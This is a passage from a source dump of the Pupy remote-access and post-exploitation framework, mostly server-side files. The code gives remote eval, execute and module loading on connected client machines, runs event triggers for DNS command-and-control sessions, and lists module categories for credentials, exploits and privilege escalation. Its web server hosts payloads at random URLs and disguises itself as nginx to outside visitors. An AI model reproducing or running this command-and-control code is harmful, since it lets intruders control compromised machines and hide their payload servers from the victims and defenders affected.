        self._cleanups.append(cleanup)

    def single(self, ctype, *args, **kwargs):
        single = self._singles.get(ctype)
        if not single:
            single = ctype(*args, **kwargs)
            self._singles[ctype] = single

        return single

    def stop(self):
        if self.finishing.is_set():
            return
        else:
            self.finishing.set()

        event(ON_EXIT, None, self)

        for cleanup in self._cleanups:
            cleanup()

        self._cleanups = []

        for name in tuple(self.listeners):
            self.remove_listener(name)

        if self.pupweb:
            self.pupweb.stop()
            self.pupweb = None

        for served in tuple(self.served_content):
            if path.isfile(served):
                try:
                    unlink(served)
                except OSError:
                    pass

            del self.served_content[served]

        self.finished.set()


================================================
FILE: pupy/pupylib/PupyService.py
================================================
# -*- coding: utf-8-*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
# OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
# AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
# THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
# DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import traceback
import json
import zlib
import umsgpack

from pupy.pupylib.PupyCredentials import Credentials

from pupy.network.lib.msgtypes import msgpack_exthook
from pupy.network.lib.rpc import Service, timed, nowait
from pupy.network.lib.convcompat import as_native_string

from . import getLogger
logger = getLogger('service')


class PupyService(Service):
    def __init__(self, *args, **kwargs):
        super(PupyService, self).__init__(*args, **kwargs)
        self._local_cleanups = []
        self._singles = {}

        self.modules = None
        self.namespace = None
        self.builtin = self.builtins = None
        self.register_remote_cleanup = None
        self.unregister_remote_cleanup = None
        self.obtain_call = None
        self.exit = None
        self.eval = None
        self.execute = None
        self.pupyimporter = None
        self.pupyimporter_funcs = None
        self.infos = None
        self.get_infos = None

        self.protocol_version = None
        self.remote_version = (2, 7)
        self.remote_is_purepy = False

        self.events_receiver = None

        self.remote_loaded_modules = None
        self.remote_cached_modules = None

    def exposed_on_connect(self):
        if sys.version_info.major == 3:
            # Deprecated API
            self._conn.activate_3to2()

        self._conn._config.update({
            'allow_safe_attrs': False,
            'allow_public_attrs': False,
            'allow_pickle': False,
            'allow_getattr': False,
            'allow_setattr': False,
            'allow_delattr': False,
            'allow_all_attrs': False,
            'import_custom_exceptions': False,
            'instantiate_custom_exceptions': False,
            'instantiate_oldstyle_exceptions': False,
        })

        self.modules = None

        self.exposed_stdin = sys.stdin
        self.exposed_stdout = sys.stdout
        self.exposed_stderr = sys.stderr

    """
    def exposed_initialize_v1(
            self,
            namespace, modules, builtin,
            register_cleanup, unregister_cleanup,
            obtain_call,
            remote_exit, remote_eval, remote_execute,
            pupyimporter,
            infos, *args
       ):

        if __debug__:
            logger.debug('Initialize legacy V1 connection.')

        if sys.version_info.major == 3:
            # Deprecated API
            self._conn.activate_3to2()
            # raise NotImplementedError(
            #   'Too old RPC version - python3 to python2 is not supported'
            # )

        self.namespace = namespace
        self.modules = modules
        self.builtin = self.builtins = builtin
        self.register_remote_cleanup = nowait(register_cleanup)
        self.unregister_remote_cleanup = nowait(unregister_cleanup)
        self.obtain_call = obtain_call
        self.exit = timed(remote_exit, 1)
        self.eval = remote_eval
        self.execute = remote_execute
        self.pupyimporter = pupyimporter
        self.infos = umsgpack.loads(infos, ext_hook=msgpack_exthook)
        self.get_infos = lambda: self.infos

        self.pupy_srv.add_client(self)
    """

    def exposed_initialize_v2(
        self,
        protocol_version, remote_version,
        namespace, modules, builtin,
        register_cleanup, unregister_cleanup,
        remote_exit, remote_eval, remote_execute,
        infos, loaded_modules, cached_modules,
            pupyimporter, pupyimporter_funcs, is_purepy, *args):

        if __debug__:
            logger.debug(
                'Initialize V2 connection. Remote proto: %s Python: %s',
                protocol_version, remote_version
            )

        self.protocol_version = protocol_version
        self.remote_version = remote_version
        self.remote_is_purepy = is_purepy

        if sys.version_info.major == 3 and \
                self.remote_version[0] == 2:

            if __debug__:
                logger.debug(
                    'Enable python3 to python2 communication hacks'
                )

            self._conn.activate_3to2()

        self.namespace = namespace
        self.modules = modules
        self.builtin = self.builtins = builtin
        self.register_remote_cleanup = nowait(register_cleanup)
        self.unregister_remote_cleanup = nowait(unregister_cleanup)
        self.obtain_call = False
        self.exit = timed(remote_exit, 1)
        self.eval = remote_eval
        self.execute = remote_execute
        self.pupyimporter = pupyimporter
        self.pupyimporter_funcs = {
            as_native_string(func): ref
            for func, ref in pupyimporter_funcs.items()
        }
        self.infos = infos
        self.get_infos = lambda: self.infos

        self.remote_loaded_modules = set(
            as_native_string(module) for module in loaded_modules
        )

        self.remote_cached_modules = set(
            as_native_string(module) for module in cached_modules
        )

        self.pupy_srv.add_client(self)

    def register_local_cleanup(self, cleanup):
        self._local_cleanups.append(cleanup)

    def unregister_local_cleanup(self, cleanup):
        self._local_cleanups.remove(cleanup)

    def single(self, ctype, *args, **kwargs):
        single = self._singles.get(ctype)
        if not single:
            single = ctype(*args, **kwargs)
            self._singles[ctype] = single

        return single

    def on_disconnect(self):
        self.pupy_srv.remove_client(self)
        for cleanup in self._local_cleanups:
            try:
                cleanup()
            except Exception as e:
                logger.exception(e)

    # Compatibility call
    def exposed_set_modules(self, modules):
        if __debug__:
            logger.debug('Initialize legacy V0 connection.')

        try:
            self.modules = modules
            self.builtin = modules.__builtin__
            self.builtins = self.builtin

            try:
                self.namespace = self._conn.root.namespace
            except Exception as e:
                logger.exception(e)

            self.execute = self._conn.root.execute
            try:
                self.register_remote_cleanup = \
                    self._conn.root.register_cleanup
            except Exception:
                self.register_remote_cleanup = None

            if self.register_remote_cleanup:
                try:
                    self.unregister_remote_cleanup = \
                        self._conn.root.unregister_cleanup
                except Exception:
                    self.unregister_remote_cleanup = None

                try:
                    self.obtain_call = self._conn.root.obtain_call
                except Exception:
                    pass

            self.exit = self._conn.root.exit
            self.eval = self._conn.root.eval
            self.get_infos = self._conn.root.get_infos

            self.pupy_srv.add_client(self)

        except Exception:
            logger.error(traceback.format_exc())
            try:
                self._conn.close()
            except Exception:
                pass

    def exposed_msgpack_dumps(self, js, compressed=False):
        data = umsgpack.dumps(js)
        if compressed:
            data = zlib.compress(data)

        return data

    def exposed_json_dumps(self, js, compressed=False):
        data = json.dumps(js)
        if compressed:
            data = zlib.compress(data)

        return data

    def exposed_broadcast_event(self, eventid, *args, **kwargs):
        logger.info('Event received: %08x', eventid)
        if self.events_receiver:
            self.events_receiver(eventid)
            logger.info('Event handled: %08x', eventid)


class PupyBindService(PupyService):
    def exposed_get_password(self):
        credentials = Credentials()
        return credentials['BIND_PAYLOADS_PASSWORD']


================================================
FILE: pupy/pupylib/PupySignalHandler.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import signal

winch_handler=None

def set_signal_winch(handler):
    """ return the old signal handler """
    global winch_handler
    old_handler=winch_handler
    winch_handler=handler
    return old_handler

def signal_winch(signum, frame):
    global winch_handler
    if winch_handler:
        return winch_handler(signum, frame)

signal.signal(signal.SIGWINCH, signal_winch)


================================================
FILE: pupy/pupylib/PupyTriggers.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = (
    'UnregisteredEventId',
    'SERVER', 'DNSCNC', 'CLIENT',
    'ON_CONNECT', 'ON_DISCONNECT',
    'ON_DNSCNC_SESSION', 'ON_DNSCNC_SESSION_LOST',
    'ON_START', 'ON_EXIT',
    'ON_JOB_EXIT',
    'EventRegistrationException', 'UnregisteredEventId',
    'RegisteredEventId', 'RegistrationNotAllowed',
    'register_event_id',
    'unregister_event_id',
    'event',
    'SERVER', 'DNSCNC', 'CLIENT', 'CUSTOM'
)

import string

from .PupyConfig import Error, NoSectionError

from . import getLogger
logger = getLogger('triggers')

ALLOWED_CHARS = string.ascii_letters + string.digits + '_ '

SERVER = 0x80000000
DNSCNC = 0x40000000
CLIENT = 0x20000000
CUSTOM = 0x10000000

ON_CONNECT = CLIENT | 0
ON_DISCONNECT = CLIENT | 1
ON_JOB_EXIT = CLIENT | 2

ON_CLIENT_EXIT = CUSTOM | 0xFFFF
ON_CLIENT_CONNECTION_FAILED = CUSTOM | 0xFFFE

ON_DNSCNC_SESSION = DNSCNC | 0
ON_DNSCNC_SESSION_LOST = DNSCNC | 1
ON_DNSCNC_ONLINE_STATUS = DNSCNC | 2
ON_DNSCNC_EGRESS_PORTS = DNSCNC | 3
ON_DNSCNC_PSTORE = DNSCNC | 4
ON_DNSCNC_USER_ACTIVE = DNSCNC | 5
ON_DNSCNC_USER_INACTIVE = DNSCNC | 6
ON_DNSCNC_HIGH_RESOURCE_USAGE = DNSCNC | 7
ON_DNSCNC_USERS_INCREMENT = DNSCNC | 8
ON_DNSCNC_USERS_DECREMENT = DNSCNC | 9
ON_START = SERVER | 0
ON_EXIT = SERVER | 1


EVENTS_ID_REGISTRY = {
    ON_START: 'start',
    ON_EXIT: 'exit',
    ON_CONNECT: 'connect',
    ON_DISCONNECT: 'disconnect',
    ON_JOB_EXIT: 'job completed',
    ON_DNSCNC_SESSION: 'dnscnc session',
    ON_DNSCNC_SESSION_LOST: 'dnscnc session lost',
    ON_DNSCNC_ONLINE_STATUS: 'dnscnc online status',
    ON_DNSCNC_EGRESS_PORTS: 'dnscnc egress ports',
    ON_DNSCNC_PSTORE: 'dnscnc pstore',
    ON_DNSCNC_USER_ACTIVE: 'dnscnc user active',
    ON_DNSCNC_USER_INACTIVE: 'dnscnc user inactive',
    ON_DNSCNC_HIGH_RESOURCE_USAGE: 'dnscnc high resource usage',
    ON_DNSCNC_USERS_INCREMENT: 'dnscnc users increment',
    ON_DNSCNC_USERS_DECREMENT: 'dnscnc users decrement',

    ON_CLIENT_EXIT: 'client_exit',
    ON_CLIENT_CONNECTION_FAILED: 'dnscnc connection failed'
}

class EventRegistrationException(Exception):
    def __init__(self, eventid):
        super(EventRegistrationException, self).__init__(self, eventid)
        self.eventid = eventid

class UnregisteredEventId(EventRegistrationException):
    def __str__(self):
        return 'Unregistered Event ID {:08x}'.format(self.eventid)

class RegisteredEventId(EventRegistrationException):
    def __str__(self):
        return 'Already registered Event ID %{:08x}'.format(self.eventid)

class RegistrationNotAllowed(EventRegistrationException):
    def __str__(self):
        return 'Registrations of global events are not allowed ' \
          '(Event ID {:08x})'.format(self.eventid)

def register_event_id(eventid, name, scope=CLIENT):
    global EVENTS_ID_REGISTRY

    if not eventid & CUSTOM:
        raise RegistrationNotAllowed(eventid)

    if eventid > 0x1F000000:
        raise ValueError('Invalid Event ID: should be less then 0x1F')

    elif scope not in (SERVER, CLIENT, DNSCNC):
        raise ValueError('Invalid scope, should be one of SERVER, CLIENT, DNSCNC')

    elif not all(x in ALLOWED_CHARS for x in name):
        raise ValueError('Only digits, letters, space and underscore allowed for event names')

    elif scope | eventid in EVENTS_ID_REGISTRY:
        raise RegisteredEventId(eventid)

    EVENTS_ID_REGISTRY[eventid] = name

    return eventid

def unregister_event_id(eventid, scope=CLIENT):
    global EVENTS_ID_REGISTRY

    if scope | eventid not in EVENTS_ID_REGISTRY:
        raise UnregisteredEventId(scope | eventid)

    del EVENTS_ID_REGISTRY[scope | eventid]

def event_to_string(eventid):
    event_name = EVENTS_ID_REGISTRY.get(eventid, None)
    if event_name is None:
        raise UnregisteredEventId(eventid)

    return event_name

def event_to_config_section(eventid):
    event_name = event_to_string(eventid)
    return 'on_' + event_name.lower().replace(' ', '_')

def _event(eventid, client, server, handler, triggers, config, **kwargs):

    actions = []

    try:
        section = event_to_config_section(eventid)
        actions.extend(config.items(section))
    except NoSectionError:
        pass

    try:
        actions.extend(config.items('on_any_event'))
    except NoSectionError:
        pass

    if not actions:
        return

    event = event_to_string(eventid)

    for client_filter, action in actions:
        if client_filter.lower() in ('this', 'self', 'current', '@'):
            if eventid & CLIENT:
                client_filter = client.desc['id']
            elif eventid & DNSCNC:
                if client:
                    client_filter = '{:08x}'.format(client.spi)
                elif 'node' in kwargs:
                    client_filter = '{:012x}'.format(kwargs['node'])

        if action.startswith('include:'):
            _, included_section = action.split(':', 1)
            try:
                for nested in config.items(included_section):
                    actions.append(nested)
            except NoSectionError:
                pass

            continue

        elif action.startswith('python:'):
            _, trigger_name = action.split(':', 1)
            server.triggers.execute(
                trigger_name, event, client,
                server, handler, config, **kwargs)

            continue

        if kwargs:
            action = action.format(**kwargs)

        criterias = []

        if eventid & DNSCNC:
            if client:
                action = action.replace('%c', '{:08x}'.format(client.spi))
            elif 'node' in kwargs:
                action = action.replace('%c', '{:012x}'.format(kwargs['node']))

        elif eventid & CLIENT:
            action = action.replace('%c', '{:08x}'.format(client.desc['id']))

            node = client.desc['node']

            criterias = ['*', 'any']

            criterias.append(node)
            criterias.extend(list(config.tags(node)))

        if client_filter not in criterias and not client_filter.startswith(('*', 'any')) and \
          client_filter not in server.get_clients(client_filter):

            logger.info(
                'Incompatible event: eventid=%s criterias=%s client_filter=%s action=%s',
                event, criterias, client_filter, action)

            continue

        logger.info('Compatible event: eventid=%s criterias=%s client_filter=%s action=%s',
            event, criterias, client_filter, action)

        if handler:
            if client_filter.startswith(('*', 'any')):
                client_filter = '*'

            handler.inject(
                action, client_filter,
                'Action for event "{}" apply to <{}>: {}'.format(
                    event, client_filter, action))


def event(eventid, client, server, **kwargs):
    handler = server.handler
    config = server.config
    triggers = server.triggers

    try:
        _event(eventid, client, server, handler, triggers, config, **kwargs)

    except Error as e:
        logger.error(e)

    except Exception as e:
        logger.exception(e)


================================================
FILE: pupy/pupylib/PupyVersion.py
================================================
# -*- coding: utf-8 -*-

INFO = {
    '__author__': 'Community',
    '__version__': 'v3.0',
    '__date__': 'Oct 2022',
    '__upstream__': 'https://github.com/n1nj4sec/pupy'
}

BANNER='''
            _____                    _       _ _
 ___ ___   |  _  |_ _ ___ _ _    ___| |_ ___| | |   ___ ___
|___|___|  |   __| | | . | | |  |_ -|   | -_| | |  |___|___|
           |__|  |___|  _|_  |  |___|_|_|___|_|_|
                     |_| |___|

                   {__version__} ({__date__})
'''.format(**INFO)

UPSTREAM='''
Upstream: {__upstream__}
'''.format(**INFO)

DISCLAIMER='''The usage of this software to access any system,
service, or network without the owner\'s consent is
expressly forbidden.

Please follow https://www.eccouncil.org/code-of-ethics/

Good luck!
'''


================================================
FILE: pupy/pupylib/PupyWeb.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root
# of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = [
    'RequestHandler', 'WebSocketHandler'
]

import sys
import threading
import random
import string
import tornado.ioloop
import tornado.web
import tornado.template

from os import path, unlink
from ssl import create_default_context

from tornado.websocket import WebSocketHandler as TornadoWebSocketHandler
from tornado.web import RequestHandler as TornadoRequestHandler
from tornado.web import StaticFileHandler as TornadoStaticFileHandler
from tornado.web import ErrorHandler as TornadoErrorHandler
from tornado.web import Application as TornadoApplication

from pupy.pupylib.PupyOutput import Error
from pupy.pupylib.PupyOutput import Success

from socket import getaddrinfo
from socket import error as socket_error

if sys.version_info.major > 2:
    xrange = range


LOCAL_IPS = ('127.0.0.1', '::1')

SERVER_HEADER = 'nginx/1.13.8'


def setup_local_ips(klass, kwargs):
    config = kwargs.pop('config', None)

    setattr(klass, 'config', config)
    setattr(klass, 'local_ips', LOCAL_IPS)

    if not config:
        return

    local_ips_cnf = klass.config.get('webserver', 'local_ips')
    if not local_ips_cnf:
        return

    local_ips_set = set()
    for item in local_ips_cnf.split(','):
        item = item.strip()
        try:
            gai = getaddrinfo(item, None)
        except socket_error:
            continue

        for result in gai:
            for addr in result[4]:
                local_ips_set.add(addr)

    klass.local_ips = tuple(local_ips_set)


class ErrorHandler(TornadoErrorHandler):
    def initialize(self, **kwargs):
        setup_local_ips(self, kwargs)
        super(ErrorHandler, self).initialize(**kwargs)

    def set_default_headers(self):
        self.set_header('Server', SERVER_HEADER)


class WebSocketHandler(TornadoWebSocketHandler):
    def initialize(self, **kwargs):
        setup_local_ips(self, kwargs)
        super(WebSocketHandler, self).initialize(**kwargs)

    def set_default_headers(self):
        self.set_header('Server', SERVER_HEADER)

    def prepare(self, *args, **kwargs):
        if self.request.remote_ip not in self.local_ips:
            self.set_status(403)

            log_msg = 'Connection allowed only from local addresses'
            self.finish(log_msg)
            return

        super(WebSocketHandler, self).prepare(*args, **kwargs)


class RequestHandler(TornadoRequestHandler):
    def initialize(self, **kwargs):
        setup_local_ips(self, kwargs)
        super(RequestHandler, self).initialize(**kwargs)

    def set_default_headers(self):
        self.set_header('Server', SERVER_HEADER)

    def prepare(self, *args, **kwargs):
        if self.request.remote_ip not in self.local_ips:
            self.set_status(403)
            log_msg = 'Connection allowed only from local addresses'
            self.finish(log_msg)
            return

        super(RequestHandler, self).prepare(*args, **kwargs)


class StaticTextHandler(TornadoRequestHandler):
    def initialize(self, **kwargs):
        self.content = kwargs.pop('content')
        setup_local_ips(self, kwargs)

        super(StaticTextHandler, self).initialize(**kwargs)

    def set_default_headers(self):
        self.set_header('Server', SERVER_HEADER)

    async def get(self):
        self.finish(self.content)


class PayloadsHandler(TornadoStaticFileHandler):
    def set_default_headers(self):
        self.set_header('Server', SERVER_HEADER)

    def initialize(self, **kwargs):
        self.mappings = kwargs.pop('mappings', {})
        self.templates = kwargs.pop('templates', {})

        setup_local_ips(self, kwargs)

        super(PayloadsHandler, self).initialize(**kwargs)

    def get_absolute_path(self, root, filepath):
        if filepath in self.mappings:
            mapped_path = self.mappings[filepath]

            if path.isfile(mapped_path):
                return path.abspath(mapped_path)

            elif path.isfile(path.join(root, self.mappings)):
                return path.abspath(
                    path.join(root, self.mappings))

        return super(PayloadsHandler, self).get_absolute_path(root, filepath)


class IndexHandler(tornado.web.RequestHandler):
    def initialize(self, **kwargs):
        setup_local_ips(self, kwargs)
        super(IndexHandler, self).initialize(**kwargs)

    def set_default_headers(self):
        self.set_header('Server', SERVER_HEADER)

    async def get(self):
        if self.request.remote_ip in self.local_ips:
            self.render("index.html")
        else:
            self.render("nginx_index.html")


class PupyWebServer(object):
    def __init__(self, pupsrv, config):
        self.pupsrv = pupsrv
        self.config = config
        self.clients = {}
        self.mappings = {}

        self.ssl = False

        self.wwwroot = self.config.get(
            'webserver', 'static_webroot_uri', None
        ) or self.random_path()

        self.preserve_payloads = self.config.getboolean(
            'webserver', 'preserve_payloads'
        )

        self.root = self.config.get_folder('wwwroot')

        self.app = None

        self._thread = None
        self._ioloop = None

        self.listen = config.get('webserver', 'listen')
        if ':' in self.listen:
            hostname, port = self.listen.rsplit(':', 1)
            port = int(port)
            self.hostname, self.port = hostname, port
        else:
            self.hostname = self.listen
            self.port = 9000

        self.served_files = set()
        self.aliases = {}
        self.show_requests = self.config.getboolean('webserver', 'log')

    def log(self, handler):
        if not self.show_requests:
            return

        message = 'Web: '

        if handler.request.uri in self.aliases:
            message += '({}) '.format(self.aliases[handler.request.uri])

        message += handler._request_summary()

        if handler.get_status() < 400:
            self.pupsrv.info(Success(message))
        else:
            self.pupsrv.info(Error(message))

    def start(self):
        webstatic = self.config.get_folder('webstatic', create=False)
        cert = self.config.get('webserver', 'cert', None)
        key = self.config.get('webserver', 'key', None)

        self.app = TornadoApplication(
            [
             (r'/', IndexHandler),
             (self.wwwroot + '/(.*)', PayloadsHandler, {
                 'path': self.root,
                 'mappings': self.mappings,
             }),
            ],
            debug=False, template_path=webstatic,
            log_function=self.log,
            default_handler_class=ErrorHandler,
            default_handler_args={
                'status_code': 404,
            }
        )

        ssl_options = None

        if key and cert:
            ssl_options = create_default_context(
                certfile=cert, keyfile=key, server_side=True)
            self.ssl = True

        self.app.listen(
            self.port,
            address=self.hostname,
            ssl_options=ssl_options)

        self._ioloop = tornado.ioloop.IOLoop.instance()

        self._thread = threading.Thread(target=self._ioloop.start)
        self._thread.daemon = True
        self._thread.start()

        self._registered = {}

    def stop(self):
        self._ioloop.stop()
        self._ioloop = None
        self._thread = None

        for (_, _, cleanup) in self._registered.values():
            if cleanup:
                cleanup()

        self.mappings = {}
        self.aliases = {}

        if self.preserve_payloads:
            return

        for filepath in self.served_files:
            if path.isfile(filepath):
                unlink(filepath)

    def get_random_path_at_webroot(self):
        while True:
            filename = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in xrange(10))

            filepath = path.join(self.root, filename)
            if not path.isfile(filepath):
                return filepath, filename

    def random_path(self):
        return '/' + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in xrange(10))

    def register_mapping(self, name, path):
        name = self.random_path()
        self.mappings[name] = path
        if name in self.mappings:
            del self.mappings[name]

    def is_registered(self, name):
        return self._registered.get(name, (None, None, None))[0]

    def serve_content(self, content, alias=None, as_file=True):
        uri = None

        if as_file:
            filepath, filename = self.get_random_path_at_webroot()
            try:
                with open(filepath, 'wb') as out:
                    out.write(content)
                self.served_files.add(filepath)
            except (IOError, OSError):
                if path.isfile(filepath):
                    unlink(filepath)

                raise

            uri = self.wwwroot + '/' + filename
        else:
            uri = self.random_path()
            self.app.add_handlers('.*', [(
                uri, StaticTextHandler, {
                    'content': content
                })])

        if alias:
            self.aliases[uri] = alias

        return uri

    def start_webplugin(self, name, web_handlers, cleanup=None):
        random_path = self.random_path()

        if name in self._registered:
            random_path, _, _ = self._registered[name]
            return self.port, random_path

        klasses = []

        for tab in web_handlers:
            if len(tab) == 2:
                uri_path, handler = tab
                kwargs = {}
            else:
                uri_path, handler, kwargs = tab

            ends_with_slash = uri_path.endswith('/')
            uri_path = '/'.join(
                x for x in [random_path] + uri_path.split('/') if x
            )

            if ends_with_slash:
                uri_path += '/'

            klasses.append(handler)

            if issubclass(handler, (
                ErrorHandler, WebSocketHandler, RequestHandler,
                    StaticTextHandler, PayloadsHandler, IndexHandler)):

                kwargs['config'] = self.config

            self.app.add_handlers(".*", [(uri_path, handler, kwargs)])
            self.pupsrv.info('Register webhook for {} at {}'.format(
                name, uri_path
            ))

        self._registered[name] = random_path, klasses, cleanup

        return self.port, random_path

    def stop_webplugin(self, name):

        if name not in self._registered:
            return

        self.pupsrv.info('Unregister webhook for {}'.format(name))

        random_path, klasses, cleanup = self._registered[name]
        removed = False

        to_remove = []
        for rule in self.app.wildcard_router.rules:
            if rule.target in klasses:
                to_remove.append(rule)
                removed = True
            elif rule.matcher.regex.pattern.startswith(random_path):
                to_remove.append(rule)
                removed = True

        for rule in to_remove:
            self.app.wildcard_router.rules.remove(rule)

        to_remove = []
        for rule in self.app.default_router.rules:
            if rule.target in klasses:
                to_remove.append(rule)
                removed = True
            elif rule.matcher.regex.pattern.startswith(random_path):
                to_remove.append(rule)
                removed = True

        if cleanup:
            cleanup()

        if removed:
            del self._registered[name]
        else:
            self.pupsrv.info('{} was not found [error]'.format(name))


================================================
FILE: pupy/pupylib/PythonCompleter.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = ["PythonCompleter"]

class PythonCompleter:
    def __init__(self, local_ns=None, global_ns=None):
        if local_ns is not None:
            self.local_ns=local_ns
        else:
            self.local_ns={}
        if global_ns is not None:
            self.global_ns=global_ns
        else:
            self.global_ns={}

    def complete(self, text, state):
        if state == 0:
            if "." in text:
                self.matches = self.attr_matches(text)
            else:
                self.matches = self.var_matches(text)
        try:
            return self.matches[state]
        except IndexError:
            return None

    def _callable_postfix(self, val, word):
        if hasattr(val, '__call__'):
            word = word + "("
        return word

    def var_matches(self, text):
        import re
        m = re.match(r"(\w*)", text)
        if not m:
            return []
        words=[x for x in self.local_ns if x.startswith(m.group(1))]
        if "__builtins__" in words:
            words.remove("__builtins__")
        return words

    def attr_matches(self, text):
        """Compute matches when text contains a dot.

        Assuming the text is of the form NAME.NAME....[NAME], and is
        evaluatable in self.namespace, it will be evaluated and its attributes
        (as revealed by dir()) are used as possible completions.  (For class
        instances, class members are also considered.)

        WARNING: this can still invoke arbitrary C code, if an object
        with a __getattr__ hook is evaluated.
        """
        import re
        bsw="[a-zA-Z0-9_\\(\\)\\[\\]\"']"
        m = re.match(r"(\w+(\.\w+)*)\.(\w*)".replace(r"\w",bsw), text)
        if not m:
            return []

        expr, attr = m.group(1, 3)
        try:
            try:
                thisobject = eval(expr, self.global_ns, self.local_ns)
            except NameError:
                """
                print str(e)
                try:
                    exec "import %s"%expr in global_ns, self.local_ns
                    thisobject = eval(expr, global_ns, self.local_ns)
                except ImportError:
                    pass
                """
        except:
            return []

        # get the content of the object, except __builtins__
        words = dir(thisobject)
        if "__builtins__" in words:
            words.remove("__builtins__")

        if hasattr(thisobject, '__class__'):
            words.append('__class__')
            words.extend(get_class_members(thisobject.__class__))
        words=[x for x in words if not x.startswith("__")]
        matches = []
        n = len(attr)
        for word in words:
            if word[:n] == attr and hasattr(thisobject, word):
                val = getattr(thisobject, word)
                word = self._callable_postfix(val, "%s.%s" % (expr, word))
                matches.append(word)
        return matches

def get_class_members(klass):
    ret = dir(klass)
    if hasattr(klass,'__bases__'):
        for base in klass.__bases__:
            ret = ret + get_class_members(base)
    return ret

if __name__=="__main__":
    import code
    import readline
    readline.set_completer(PythonCompleter().complete)
    readline.parse_and_bind('tab: complete')
    code.interact()


================================================
FILE: pupy/pupylib/__init__.py
================================================
# -*- coding: utf-8 -*-

__all__ = [
    'getLogger', 'PupyCmdLoop', 'PupyService',
    'PupyConfig', 'PupyServer', 'PupyModule',
    'Credentials', 'PupyClient',
    'ROOT',
    'HOST_SYSTEM', 'HOST_CPU_ARCH', 'HOST_OS_ARCH'
]

import os
import sys
import platform

ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
HOST_SYSTEM = platform.system()
HOST_CPU_ARCH = platform.architecture()[0]
HOST_OS_ARCH = platform.machine()


DEPS = [
        os.path.abspath(os.path.join(ROOT, 'library_patches_py3')),
        os.path.abspath(os.path.join(ROOT, 'packages', 'all')),
        ]

for dep in DEPS:
    if not os.path.exists(dep):
        raise Exception("Dependency path not found : {}".format(dep))
    if "library_patches" in dep:
        sys.path.insert(0, dep)
    else:
        sys.path.append(dep)

# dirty, TODO: refactor PupyCompiler to be able to call it standalone
if not getattr(sys, '__from_build_library_zip_compiler__', False):
    from .PupyLogger import getLogger

    from .PupyConfig import PupyConfig
    from .PupyCredentials import Credentials

    from pupy.network.conf import load_network_modules

    load_network_modules()

    if not getattr(sys, '__pupy_main__', False):
        from .PupyCmd import PupyCmdLoop
        from .PupyService import PupyService
        from .PupyModule import PupyModule
        from .PupyClient import PupyClient
        from .PupyServer import PupyServer


================================================
FILE: pupy/pupylib/conf.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

#authorized categories
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
categories=[
    "general", "manage", "admin", "creds", "exploit",
    "privesc", "network", "gather", "troll", "misc"
]


================================================
FILE: pupy/pupylib/payloads/__init__.py
================================================


================================================
FILE: pupy/pupylib/payloads/dependencies.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os
import sys
import zlib
import marshal

from zipfile import ZipFile

from elftools.elf.elffile import ELFFile
from io import BytesIO

from pupy.pupylib.PupyCompile import pupycompile
from pupy.pupylib.utils.arch import is_native, same_as_local_arch
from pupy.pupylib import ROOT, getLogger

from pupy.network.lib.convcompat import reprb


if sys.version_info.major > 2:
    import pickle
    from os import getcwd

    xrange = range

else:
    import cPickle as pickle
    from os import getcwdu as getcwd


class BinaryObjectError(ValueError):
    pass


class UnsafePathError(ValueError):
    pass


class NotFoundError(NameError):
    pass


class IgnoreFileException(Exception):
    pass


class Target(object):
    __slots__ = (
        'os', 'arch', 'pymaj', 'pymin', 'debug',
        '_native', '_so', '_platform', '_purepy'
    )

    def __init__(self, python, platform=None, debug=False, purepy=False):
        self.pymaj, self.pymin = python[:2]
        self.debug = debug

